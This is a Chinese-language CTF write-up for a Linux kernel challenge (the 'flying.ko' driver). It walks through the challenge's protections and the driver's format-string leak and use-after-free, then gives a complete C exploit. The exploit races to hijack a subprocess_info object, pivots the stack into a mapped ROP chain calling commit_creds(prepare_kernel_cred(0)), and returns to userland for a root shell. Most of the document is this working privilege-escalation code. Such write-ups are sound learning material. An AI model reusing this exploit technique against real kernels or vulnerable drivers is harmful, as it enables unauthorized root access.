题目文件结构
~/Desktop/scft/user
❯ tree
.
├── boot.sh
├── bzImage
└── rootfs.img
0 directories, 3 files
提取文件结构:
mkdir fs
mv rootfs.img ./fs
cd ./fs
cpio -idmv < ./rootfs.img
Init文件内容如下所示,从Init文件中可以得知,挂载了一个驱动文件,普通用户不能查看
/proc/kallsyms
和使用dmesg
命令,以及不能通过%p
来泄露地址#!/bin/sh
mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /flying.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
poweroff -d 240 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
umount /tmp
poweroff -d 0 -f
查看flying.ko的存在的保护
➜ user checksec flying.ko
[*] '/Home/Desktop/scft/user/flying.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
➜ user
查看
boot.sh
启动脚本,qemu-system-x86_64 \
-m 128M \
-kernel ~/sctf/bzImage \
-initrd ~/sctf/rootfs.img \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
-cpu kvm64,+smep \
-smp cores=2,threads=2 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
尝试运行系统
可以发现开启了
Kaslr
和KPTI
审计
flying.ko
,程序流程很简单,seven_ioctl有三个选项- 0x5555:申请0x80大小的堆块
- 0x6666:释放堆块,没有清零
- 0x7777:输出堆块中的内容,存在格式化字符串漏洞
seven_write
可以编辑堆块内容。0x80的堆块在
kmalloc-128
中,可以利用subprocess_info结构体劫持程序流,在此结构偏移0x20处覆盖成target地址,当执行socket(22, AF_INET, 0)
时就会触发执行绕过
KPTI
需要给geshell函数添加一个信号,signal(SIGSEGV, getshell);
解题思路:
- 通过格式化字符串来泄露地址
- 通过UAF来劫持subprocess_info结构体,需要条件竞争
- 通过ROP来执行
commit_creds(prepare_kernel_cred(0))
,然后返回用户态执行shell即可提权到Root用户
exp:
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <signal.h>
#define PATH "/dev/seven"
int fd;
size_t leak_addr,kernel_base,mov_esp_addr,pop_rdi,native_write_cr4_addr,swapgs,iretq,mov_rdi_rax,pop_rcx,mov_rdi_rax_je_pop_pop_ret,swapgs_restore;
void add(){
ioctl(fd,0x5555,0x80);
return;
}
void show(){
ioctl(fd,0x7777,NULL);
return;
}
void delete(){
ioctl(fd,0x6666,NULL);
return;
}
void edit(char *buf,int len){
write(fd,buf,len);
return;
}
int flag= 1;
void *target(){
size_t buf[4];
buf[0] = mov_esp_addr;
buf[1] = mov_esp_addr;
buf[2] = mov_esp_addr;
buf[3] = mov_esp_addr;
while(flag){
edit(buf,0x20);
}
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t prepare_kernel_cred_addr,commit_creds_addr;
void *get_root(){
__asm__(
"mov rdi, 0;"
"mov rbx, prepare_kernel_cred_addr;"
"call rbx;"
"mov rdi, rax;"
"mov rbx, commit_creds_addr;"
"call rbx;"
);
}
void getshell()
{
if(getuid() == 0)
{
flag = 0;
puts("Get root!!!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
void payload(){
unsigned long *rop;
int i=0x1000/8;
rop = mmap(0x83000000-0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
for (i= 0; i < 0x1000/8;)
rop[i++] = 0x1234;//不填充的话该内存还是没有分配
rop[i++]=pop_rdi;
rop[i++]=0;
rop[i++]=prepare_kernel_cred_addr;
rop[i++] = pop_rcx;
rop[i++]=0;
rop[i++]=mov_rdi_rax;
rop[i++]=commit_creds_addr;
rop[i++]=swapgs;
rop[i++]=iretq;
rop[i++] = getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
}
int main()
{
save_status();
signal(SIGSEGV, getshell);//避免页切换时发生段错误
void *ret=NULL;
fd = open(PATH,O_RDWR);
char buf[0x100];
memcpy(&buf,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx",64);
add();
edit(&buf,0x80);
show();
show();
scanf("%llx",&leak_addr);
kernel_base = leak_addr-0x1f3ecd;
mov_esp_addr = kernel_base + 0x4e8f36;
pop_rdi = kernel_base + (0xffffffff810016e9-0xffffffff81000000);//0xffffffff810016e9: pop rdi; ret;
native_write_cr4_addr = kernel_base + 0x2f950;
prepare_kernel_cred_addr =kernel_base+ 0x8c780;
commit_creds_addr =kernel_base+ 0x8c360;
swapgs = kernel_base + (0xffffffff81c00f58-0xffffffff81000000);//0xffffffff81c00f58: swapgs; ret;
iretq = kernel_base + (0xffffffff81024f92-0xffffffff81000000);//0xffffffff81024f92: iretq; ret;
mov_rdi_rax = kernel_base + (0xffffffff81aed04b-0xffffffff81000000);//0xffffffff829f11f3: mov rdi, rax; rep movsd dword ptr [rdi], dword ptr [rsi]; ret;
pop_rcx = kernel_base + (0xffffffff8101ed83-0xffffffff81000000);//0xffffffff8101ed83: pop rcx; ret;
mov_rdi_rax_je_pop_pop_ret = kernel_base + (0xffffffff819b5764-0xffffffff81000000);
swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);
payload();
printf("swapgs:%llx\n",swapgs);
printf("kernel base:%llx\n",kernel_base);
printf("mov_esp_addr:%llx\n",mov_esp_addr);
printf("native_write_cr4_addr:%llx\n",mov_esp_addr);
delete();
pthread_t tid;
pthread_create(&tid, NULL, target, NULL);
sleep(0.5);
socket(22,AF_INET,0);
getchar();
//gcc exp.c -o exp --static -masm=intel -lpthread
}
从这道题学到很多细节的点,我都标记在exp里了。